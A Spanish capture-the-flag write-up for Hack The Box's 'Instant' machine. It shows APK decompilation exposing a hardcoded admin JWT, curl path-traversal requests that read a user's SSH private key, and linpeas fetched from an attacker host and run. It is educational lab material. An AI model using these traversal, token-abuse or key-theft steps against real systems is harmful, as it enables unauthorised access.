the_open_door
café
ESEN

Instant

HackTheBoxMediaLinux10.10.11.37

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#api#jwt#apk#reversing#lfi#path-traversal#solarputty#credential-leak#vhost-fuzzing#linux
TL;DR. Instant es una máquina Linux de dificultad media que gira en torno a una API REST y a una app Android. La web ofrece descargar un .apk; al decompilarlo con apktool aparecen dos subdominios (mywalletv1 y swagger-ui) y, dentro del código, un JWT de administrador grabado en duro. Con ese token accedemos a los endpoints privilegiados de la API; uno de ellos lee ficheros de logs y, abusándolo como path traversal, leemos la flag de usuario y la clave SSH privada de shirohige, lo que nos da shell. Para escalar, en /opt/backups hay un backup de Solar-PuTTY: descifrándolo offline recuperamos la contraseña de root en claro y un su cierra la caja.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.37
64 bytes from 10.10.11.37: icmp_seq=1 ttl=63 time=38.7 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El escaneo se apoya en tres funciones definidas en el .zshrc. Son cómodas, pero esconden el comando real, así que van con su código: la idea es que cualquiera reproduzca el escaneo sin tenerlas instaladas.

La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es decir, el comando equivalente sin la función es:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.37 -oG scan

Salida de jmap: nmap descubre los puertos 22 y 80 abiertos en 10.10.11.37, ambos con syn-ack ttl 63

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 15:17 CET
Initiating SYN Stealth Scan at 15:17
Scanning 10.10.11.37 [65535 ports]
Discovered open port 22/tcp on 10.10.11.37
Discovered open port 80/tcp on 10.10.11.37
Completed SYN Stealth Scan at 15:17, 14.39s elapsed (65535 total ports)
Nmap scan report for 10.10.11.37
Host is up, received user-set (0.093s latency).
Scanned at 2024-11-01 15:17:33 CET for 14s
Not shown: 65405 closed tcp ports (reset), 128 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Dos apuntes de esa salida. El primero, la columna REASON repite el ttl 63 que ya vimos en el ping, y esta vez sobre paquetes TCP: coincidir por dos vías distintas refuerza la hipótesis de Linux. El segundo, los 128 puertos filtered (no-response) frente a 65405 closed (reset): la inmensa mayoría de puertos cerrados contestan con un RST, así que ese puñado que simplemente no responde es ruido de la VPN, no un cortafuegos que filtre de forma sistemática.

La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

Salida de extractPorts sobre el fichero scan: IP Address 10.10.11.37 y Open ports 22,80, copiados al portapapeles

Extracting information...
IP Address: 10.10.11.37
Open ports: 22,80

Ports copied to clipboard

IP Address: 10.10.11.37
Open ports: 22,80

Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <puertos>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}
nmap -p22,80 -sCV 10.10.11.37

nmap -sCV: OpenSSH 9.6p1 y Apache 2.4.58, con la redirección a instant.htb marcada en la salida

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Virtual hosting

El script http-title no ha llegado a leer el título porque el servidor redirige a http://instant.htb/. Eso significa que Apache está sirviendo por virtual hosting: decide qué sitio devolver según la cabecera Host de la petición, y por IP pelada no encuentra nada útil. Para que nuestro navegador resuelva ese nombre lo añadimos al fichero de hosts local:

sudo nano /etc/hosts

/etc/hosts editado en nano con la línea 10.10.11.37 instant.htb añadida

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.37     instant.htb

El sitio web - TCP 80

whatweb confirma la pila: un Apache 2.4.58 sobre Ubuntu sirviendo una web Bootstrap titulada Instant Wallet, con un correo de contacto support@instant.htb.

whatweb http://instant.htb

whatweb identifica Instant Wallet, Apache 2.4.58, Bootstrap 4.0.0, jQuery 3.2.1 y el correo support@instant.htb

http://instant.htb [200 OK] Apache[2.4.58], Bootstrap[4.0.0], Country[RESERVED][ZZ],
Email[support@instant.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)],
IP[10.10.11.37], JQuery[3.2.1], Script, Title[Instant Wallet]

Ya en el navegador, la portada es la de una cartera de dinero digital: un eslogan, un texto comercial y un botón grande DOWNLOAD NOW.

la portada de instant.htb muestra el eslogan Instantly Send Funds To Anywhere y un botón DOWNLOAD NOW

Bajando por la página hay un FAQ, y arriba a la derecha el mismo enlace Download Now! en la barra de navegación. En una caja así conviene fijarse en qué es exactamente lo que reparte: casi nunca es un .pdf inocente.

la sección Frequently asked questions con el enlace Download Now! resaltado en la barra de navegación

Antes de pulsarlo, un fuzzing de directorios con dirsearch para ver el resto del árbol. No aparece ningún panel oculto, pero sí un /downloads/ que responde 200 con 16 bytes (es decir, un listado vacío o casi): el sitio tiene un directorio pensado para servir ficheros.

dirsearch -u http://instant.htb

dirsearch recorre 11460 entradas y encuentra /js, /css, /downloads, /img, /javascript y /server-status

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://instant.htb/

[15:26:12] 301 -  307B  - /js  ->  http://instant.htb/js/
[15:26:15] 403 -  276B  - /.ht_wsr.txt
[15:26:15] 403 -  276B  - /.htaccess.bak1
<SNIP: la ristra de /.ht* devuelve 403 en bloque>
[15:26:41] 301 -  308B  - /css  ->  http://instant.htb/css/
[15:26:43] 301 -  314B  - /downloads  ->  http://instant.htb/downloads/
[15:26:43] 200 -   16B  - /downloads/
[15:26:49] 301 -  308B  - /img  ->  http://instant.htb/img/
[15:26:51] 301 -  315B  - /javascript  ->  http://instant.htb/javascript/
[15:26:51] 200 -   16B  - /js/
[15:27:10] 403 -  276B  - /server-status/
Task Completed

Los 403 de la familia .htaccess* son ruido del diccionario, no un hallazgo: Apache bloquea por configuración cualquier fichero que empiece por .ht, existan o no. Lo mismo con /server-status, que está compilado pero restringido a localhost.

Ahora sí, el botón. Lo que cae es un instant.apk, la aplicación Android de la cartera.

el gestor de descargas de Firefox registra instant.apk, en esta primera tentativa como Canceled

Fuzzing de vhosts: el camino que no era

Con un vhost confirmado, el reflejo es buscar más por fuerza bruta contra la cabecera Host (fuzzing de virtual hosts). Se lanza gobuster en modo vhost con un diccionario de 110 000 subdominios, filtrando por longitud de respuesta para descartar la página por defecto.

gobuster vhost -u http://instant.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 500 | grep -v "301,400"

gobuster en modo vhost avanza hasta el 66% entre errores de timeout y no encuentra ningún subdominio

[+] Url:             http://instant.htb
[+] Method:          GET
[+] Append Domain:   false

Starting gobuster in VHOST enumeration mode

Progress: 36378 / 114442 (31.79%)[ERROR] Get "http://instant.htb/": context deadline exceeded
(Client.Timeout exceeded while awaiting headers)
<SNIP: el mismo error se repite decenas de veces>
Progress: 76258 / 114442 (66.63%)[ERROR] Get "http://instant.htb/": context deadline exceeded

Nada. Y merece la pena entender por qué, porque es el tipo de callejón que se suele borrar de un writeup. Por un lado, -t 500 hilos contra una máquina de laboratorio al otro lado de una VPN satura el servidor y llena la pantalla de timeouts, así que ni siquiera se puede confiar en que un negativo sea un negativo real. Por otro, y esto es lo determinante, los subdominios de esta caja (mywalletv1, swagger-ui) no están en ningún diccionario genérico: son nombres internos del proyecto. Por fuerza bruta no iban a salir nunca. La información estaba en otro sitio, y ese otro sitio es el .apk que acabamos de descargar.

Acceso a la API como Admin

Decompilar la APK

Una .apk no es más que un ZIP con el código de la app y su configuración. La decompilamos con apktool para leer su interior: el bytecode de Dalvik traducido a .smali, el manifiesto y los recursos XML.

apktool d instant.apk

apktool 2.7.0 decodifica AndroidManifest.xml, los recursos y hace baksmaling de classes.dex

I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Lo primero es preguntarle a la app con quién habla. Un grep recursivo por el dominio recorre todo lo decompilado y devuelve dos cosas: las URLs de la API dentro del código y, en res/xml/network_security_config.xml, dos subdominios que no estaban enlazados en ningún sitio de la web.

grep -r "instant.htb" instant

el grep saca los endpoints de la API y los subdominios mywalletv1 y swagger-ui en network_security_config.xml

instant/smali/com/instantlabs/instant/ProfileActivity.smali:      const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
instant/smali/com/instantlabs/instant/RegisterActivity.smali:     const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
instant/smali/com/instantlabs/instant/AdminActivities.smali:      const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
instant/smali/com/instantlabs/instant/TransactionActivity.smali:  const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
instant/smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
instant/smali/com/instantlabs/instant/LoginActivity.smali:        const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
instant/res/layout/activity_forgot_password.xml:  android:text="Please contact support@instant.htb to have your account recovered"
instant/res/xml/network_security_config.xml:      <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
instant/res/xml/network_security_config.xml:      <domain includeSubdomains="true">swagger-ui.instant.htb</domain>

Ese network_security_config.xml existe porque, desde Android 9, el tráfico en claro está prohibido por defecto; para permitir HTTP hay que declarar explícitamente los dominios. El desarrollador, sin querer, dejó ahí la lista blanca de su propia infraestructura. Los añadimos al /etc/hosts, en la misma línea de la IP:

sudo nano /etc/hosts

/etc/hosts con los tres nombres instant.htb, swagger-ui.instant.htb y mywalletv1.instant.htb apuntando a 10.10.11.37

10.10.11.37     instant.htb swagger-ui.instant.htb mywalletv1.instant.htb

Qué hay en cada subdominio

Toca visitarlos. mywalletv1.instant.htb, que es el host contra el que la app hace todas sus peticiones, devuelve un 404 en la raíz: no tiene interfaz web, solo responde bajo /api/v1/....

mywalletv1.instant.htb devuelve Not Found: la API no sirve nada en la raíz

Not Found

The requested URL was not found on the server. If you entered the URL manually please check
your spelling and try again.

El interesante es el otro. swagger-ui.instant.htb/apidocs/ sirve un Swagger UI con la documentación interactiva de la API, generada con Flasgger (la extensión de Swagger para Flask). Ahí está el catálogo completo de endpoints, con su método y su descripción.

Swagger UI de Instant API con los endpoints admin/add/user, admin/list/users, login y register, dos de ellos con candado

Instant API - Transfer Funds Without Limits!   0.0.1
/apispec_1.json
powered by Flasgger

Users
  POST  /api/v1/admin/add/user     Admin Route To Create User      🔒
  GET   /api/v1/admin/list/users   List All Users In The DB        🔒
  POST  /api/v1/login              Login user
  POST  /api/v1/register           Register a user

Los candados de la derecha lo dicen todo: register y login son públicos (cualquiera se crea una cuenta y obtiene su token), pero los endpoints admin/* exigen autorización. Un usuario corriente puede darse de alta y poco más; para listar usuarios o leer logs hace falta el JWT del administrador en la cabecera Authorization. Ese es el objetivo ahora.

El JWT de administrador, grabado en duro

Volvemos al código decompilado, esta vez buscando la ruta de la API en lugar del dominio. El grep saca seis clases, y una destaca por el nombre: AdminActivities.smali.

grep -r "api/v1" instant

el grep por api/v1 lista seis clases smali; AdminActivities.smali aparece resaltada

instant/smali/com/instantlabs/instant/ProfileActivity.smali:       const-string v7, ".../api/v1/view/profile"
instant/smali/com/instantlabs/instant/RegisterActivity.smali:      const-string p4, ".../api/v1/register"
instant/smali/com/instantlabs/instant/AdminActivities.smali:       const-string v2, ".../api/v1/view/profile"
instant/smali/com/instantlabs/instant/TransactionActivity.smali:   const-string v0, ".../api/v1/initiate/transaction"
instant/smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1, ".../api/v1/confirm/pin"
instant/smali/com/instantlabs/instant/LoginActivity.smali:         const-string v1, ".../api/v1/login"

La volcamos entera. El smali es verboso pero se lee bien: hay un método privado TestAdminAuthorization() que construye un cliente OkHttp, apunta a /api/v1/view/profile y le añade una cabecera. Y el valor de esa cabecera está ahí mismo, como constante de cadena.

cat instant/smali/com/instantlabs/instant/AdminActivities.smali

AdminActivities.smali contiene el método TestAdminAuthorization con la cabecera Authorization y un JWT grabado en duro

.class public Lcom/instantlabs/instant/AdminActivities;
.source "AdminActivities.java"

.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4
    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;
    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
    .line 23
    new-instance v1, Lokhttp3/Request$Builder;
    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(...)
    move-result-object v1

    const-string v2, "Authorization"

    const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(...)

Un método llamado "probar la autorización de administrador" con el token de administrador dentro. Es código de depuración que se quedó en la versión publicada, y es exactamente el tipo de resto que se busca al abrir una app.

Conviene conocer una segunda vía de búsqueda, más general y que no depende de acertar con el nombre de la clase: todo JWT empieza por eyJ, porque la cabecera {"alg":... codificada en Base64URL siempre produce ese prefijo. Buscar esa cadena por todo el árbol encuentra el token directamente.

grep -r "eyJ" instant

el grep por eyJ localiza el mismo JWT dentro de AdminActivities.smali

instant/smali/com/instantlabs/instant/AdminActivities.smali:    const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

Antes de usarlo, lo pegamos en jwt.io para ver qué afirma. El payload de un JWT solo está codificado en Base64, no cifrado, así que se lee sin necesidad de conocer la clave de firma.

jwt.io decodifica el token: cabecera con alg HS256 y payload con id 1, role Admin, walId y exp

HEADER
{ "alg": "HS256", "typ": "JWT" }

PAYLOAD
{
  "id": 1,
  "role": "Admin",
  "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
  "exp": 33259303656
}

Dos datos importan. "role": "Admin" confirma que el token es el que buscábamos. Y "exp" vale 33259303656, que como epoch en segundos cae en el año 3023: el token no caduca en la práctica. Un secreto filtrado siempre es malo, pero uno que nunca expira convierte el descuido en una puerta trasera permanente.

Primera petición autenticada

Para usar el token se añade la cabecera Authorization a la petición. Probamos contra el endpoint más inofensivo, el de perfil, para verificar que el servidor lo acepta.

curl -X GET "http://swagger-ui.instant.htb/api/v1/view/profile" -H "accept: application/json" -H "Authorization: <JWT>"

la API responde 200 con el perfil de instantAdmin, su correo, su invite_token y un saldo de 10000000

{"Profile":{"account_status":"active","email":"admin@instant.htb","invite_token":"instant_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"10000000","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200}

Funciona: somos instantAdmin ante la API. El wallet_id coincide con el walId del token, y de regalo aparece un invite_token (instant_admin_inv), el código con el que la aplicación da de alta cuentas privilegiadas.

Listar los usuarios

Con el acceso confirmado, el endpoint de administración que enumera la base de datos.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/list/users" -H "accept: application/json" -H "Authorization: <JWT>" | grep "username"

el endpoint admin/list/users devuelve instantAdmin, shirohige y test3 con su correo, rol, secret_pin y wallet_id

{"Status":200,"Users":[{"email":"admin@instant.htb","role":"Admin","secret_pin":87348,"status":"active","username":"instantAdmin","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},{"email":"shirohige@instant.htb","role":"instantian","secret_pin":42845,"status":"active","username":"shirohige","wallet_id":"458715c9-b15e-467b-8a3d-97bc3fcf3c11"},{"email":"string","role":"instantian","secret_pin":44444,"status":"active","username":"test3","wallet_id":"f6040335-2f2e-45da-9093-f68a5d982e0c"}]}

El grep "username" no filtra gran cosa, porque la API devuelve todo el JSON en una sola línea y esa línea contiene la palabra: el resultado es el cuerpo entero. Da igual, porque lo que interesa está a la vista. Hay tres cuentas: instantAdmin, un test3 claramente de pruebas (correo literal "string", PIN 44444) y shirohige, que por el nombre y por el role: instantian es el usuario real de la máquina. Los secret_pin se devuelven en claro, otro fallo de diseño de la API, aunque en esta caja no llegan a hacer falta.

Shell como shirohige

Del endpoint de logs al path traversal

Swagger documenta un endpoint más, fuera del grupo de usuarios: leer ficheros de log. Si se prueba desde la propia interfaz sin token, el servidor contesta un 401 seco.

Swagger muestra la respuesta 401 Unauthorized del endpoint de logs y, más abajo, el ejemplo de respuesta 200 con FileName /home/shirohige/logs/1.log

Error: UNAUTHORIZED
Response body
{
    "Description": "Unauthorized!",
    "Status": 401
}
Response headers
    content-type: application/json
    server: Werkzeug/3.0.3 Python/3.12.3

Responses
200  Successfully returns the log file content.
     {
       "Content": "Log file contents go here...",
       "FileName": "/home/shirohige/logs/1.log",
       "Status": 200
     }
401  Unauthorized access to the log file.

Esa respuesta fallida regala dos cosas. La cabecera server: Werkzeug/3.0.3 Python/3.12.3 confirma que detrás hay Flask (Werkzeug es su servidor de desarrollo), coherente con el Flasgger de la documentación. Y el ejemplo de respuesta 200 trae la pista de oro: el FileName de muestra es /home/shirohige/logs/1.log, o sea que las lecturas se resuelven dentro del directorio personal de shirohige, el usuario que acabamos de ver en la base de datos.

El primer intento se hace igual que en el ejemplo, pasando la ruta absoluta url-encodeada. Y falla:

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=%2Fhome%2Fshirohige%2Flogs%2F1.log" -H "accept: application/json" -H "Authorization: <JWT>"

la petición con la ruta absoluta devuelve una página HTML de 500 Internal Server Error

<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.
Either the server is overloaded or there is an error in the application.</p>

Un 500 no es un 403: no nos está denegando el acceso, es que la aplicación ha reventado. La lectura razonable es que el servidor ya está posicionado en /home/shirohige/logs/ y concatena lo que le mandemos, de modo que la ruta efectiva quedaría en un /home/shirohige/logs//home/shirohige/logs/1.log que no existe. Se prueba entonces con el nombre a secas:

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" -H "accept: application/json" -H "Authorization: <JWT>"

la petición con log_file_name=1.log devuelve el contenido del fichero y Status 201

{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}

Confirmado, y la propia respuesta lo demuestra: la clave del JSON es la ruta completa que el servidor ha construido, /home/shirohige/logs/1.log. Ese error de antes no era un obstáculo, era la pista de cómo funciona el endpoint por dentro.

Si concatena sin sanear, entonces acepta ../. Es un path traversal de manual: al anteponer ../ (codificado como ..%2F para que el punto y la barra no se pierdan por el camino) salimos del directorio de logs y leemos cualquier fichero al alcance de la cuenta. Primero, la flag de usuario, que vive justo un nivel más arriba:

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2Fuser.txt" -H "accept: application/json" -H "Authorization: <JWT>"

leyendo ..%2Fuser.txt el endpoint devuelve la flag de usuario

{"/home/shirohige/logs/../user.txt":["b617f16ef69b65f40a78608b35f667ed\n"],"Status":201}

Robar la clave SSH y entrar

Tenemos la flag, pero no una shell, y sin shell no hay escalada. Con la misma lectura arbitraria apuntamos a la clave privada SSH del usuario. La ruta es predecible: ~/.ssh/id_rsa es el nombre por defecto de una clave RSA generada con ssh-keygen.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" -H "accept: application/json" -H "Authorization: <JWT>"

la lectura de ..%2F.ssh%2Fid_rsa devuelve la clave privada completa de shirohige en un array JSON

{"/home/shirohige/logs/../.ssh/id_rsa":["-----BEGIN OPENSSH PRIVATE KEY-----\n","b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n","NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n","<SNIP>","-----END OPENSSH PRIVATE KEY-----\n"],"Status":201}

La API devuelve el fichero como un array con una entrada por línea, así que hay que rehacerlo antes de usarlo: quitar las comillas y las comas y dejar los saltos de línea reales. Una clave OpenSSH mal reconstruida no se carga, no hay tolerancia al formato.

echo "-----BEGIN OPENSSH PRIVATE KEY-----
<contenido de la clave, una línea por elemento del array>
-----END OPENSSH PRIVATE KEY-----" > id_rsa

la clave privada reconstruida se vuelca a un fichero id_rsa con echo

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B
<SNIP>
-----END OPENSSH PRIVATE KEY-----

Falta un paso que se olvida a menudo: SSH rechaza una clave privada si su fichero es legible por otros usuarios del sistema (avisa con un UNPROTECTED PRIVATE KEY FILE! y no conecta). Se le dan permisos de lectura y escritura solo para el propietario.

chmod 600 id_rsa

chmod 600 id_rsa ajusta los permisos de la clave privada

root@kali:/home/krmena/machines/instant/content#

chmod no imprime nada cuando tiene éxito: el retorno limpio al prompt es toda la confirmación que hay. Con la clave lista, ya conectamos.

ssh -i id_rsa shirohige@instant.htb

ssh con la clave id_rsa abre una shell como shirohige en Ubuntu 24.04.1 LTS

Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Nov  1 22:06:10 2024 from 10.10.15.39
shirohige@instant:~$

Estamos dentro como shirohige en un Ubuntu 24.04.1 LTS. El mensaje sobre la conexión a changelogs.ubuntu.com es normal en una máquina de laboratorio sin salida a Internet, y de paso confirma que no vamos a poder descargar nada directamente desde la víctima. Comprobamos la flag desde la shell, ahora sí con acceso interactivo al sistema de ficheros:

ls
cat user.txt

ls muestra logs, projects y user.txt en el home de shirohige, y cat imprime la flag

shirohige@instant:~$ ls
logs  projects  user.txt
shirohige@instant:~$ cat user.txt
b617f16ef69b65f40a78608b35f667ed

Coincide con la que sacamos por la API, y además vemos el resto del home: el directorio logs que el endpoint usaba de base, y un projects que promete.

Shell como root

Enumeración del sistema

Para no depender del ojo, se sube linpeas.sh (repo), que recorre el sistema buscando vectores conocidos. Como la víctima no tiene salida a Internet, se sirve desde nuestra máquina con un servidor HTTP y se descarga con wget en /tmp, que siempre es escribible.

python3 -m http.server 80
wget http://10.10.15.39/linpeas.sh

a la izquierda wget descarga linpeas.sh en /tmp; a la derecha el servidor python3 registra el GET /linpeas.sh 200

--- servidor (atacante) ---
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.37 - - [01/Nov/2024 23:13:38] "GET /linpeas.sh HTTP/1.1" 200 -

--- víctima ---
shirohige@instant:/tmp$ wget http://10.10.15.39/linpeas.sh
--2024-11-01 22:13:38--  http://10.10.15.39/linpeas.sh
Connecting to 10.10.15.39:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 824745 (805K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh   100%[==============>] 805.42K  1.50MB/s   in 0.5s
2024-11-01 22:13:39 (1.50 MB/s) - 'linpeas.sh' saved [824745/824745]

El detalle del python frente a python3 no es anécdota: en Kali actual python a secas ya no existe (zsh: command not found: python), hay que invocar python3. Y el 200 en el log del servidor es la confirmación de que la transferencia salió, no una suposición.

chmod +x linpeas.sh
./linpeas.sh

linpeas arranca y muestra la sección Basic information con la versión del kernel y los grupos de shirohige

                    LinPEAS-ng by carlospolop

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  ...

Basic information
OS: Linux version 6.8.0-45-generic (buildd@lcy02-amd64-115) (x86_64-linux-gnu-gcc-13
    (Ubuntu 13.2.0-23ubuntu4) 13.2.0, GNU ld (GNU Binutils for Ubuntu) 2.42)
    #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024
User & Groups: uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
Hostname: instant

Ya en la cabecera hay un dato que apuntar: shirohige pertenece al grupo development además de al suyo propio. Un grupo secundario poco habitual suele significar que hay ficheros del proyecto a los que esta cuenta llega y otras no.

Del resto del informe hay tres hallazgos que conviene enseñar aunque ninguno acabe siendo el camino, porque forman parte de cómo se descarta:

linpeas encuentra el fichero .env del proyecto con un SECRET_KEY y un LOG_PATH

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 shirohige shirohige 71 Aug  8 19:34 /home/shirohige/projects/mywallet/Instant-Api/mywallet/.env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
LOG_PATH=/home/shirohige/logs/

Ese .env es el de la API que acabamos de atacar, y cierra el círculo del path traversal: LOG_PATH es literalmente /home/shirohige/logs/, el prefijo que el servidor concatenaba. La otra variable, SECRET_KEY, es la clave de firma de la aplicación Flask; en un despliegue típico permitiría forjar tokens en vez de robarlos, que es la vía alternativa a todo el análisis de la APK. A estas alturas ya teníamos un JWT válido, así que no aporta nada, pero es el tipo de secreto que en un entorno real vale tanto como una contraseña de administrador.

linpeas lista los ficheros .sh en el PATH: gettext.sh y rescan-scsi-bus.sh

╔══════════╣ Other Interesting Files
╚ .sh files in path
  https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh

linpeas localiza dos bases de datos legibles: instant.db del proyecto y transactions.db de PackageKit

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
Found /var/lib/PackageKit/transactions.db

Los dos .sh del PATH son de paquetes estándar del sistema, no scripts propios editables. Y de las dos bases de datos, transactions.db es el registro del gestor de paquetes y instant.db es el SQLite de la propia API, con los mismos usuarios y PIN que ya listamos por HTTP. Callejones, pero comprobados.

El backup de Solar-PuTTY

El hallazgo bueno está en /opt/backups, un directorio que no es del sistema (nadie instala nada en /opt/backups por defecto) y que por eso mismo merece una mirada. Dentro hay una carpeta Solar-PuTTY con un único fichero, sessions-backup.dat.

cd /opt/backups
ls
cd Solar-PuTTY/
ls
cat sessions-backup.dat

el directorio /opt/backups/Solar-PuTTY contiene sessions-backup.dat, cuyo cat vuelca un blob en Base64

shirohige@instant:/opt/backups$ ls
Solar-PuTTY
shirohige@instant:/opt/backups$ cd so
-bash: cd: so: No such file or directory
shirohige@instant:/opt/backups$ cd Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYT1EshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd<SNIP>

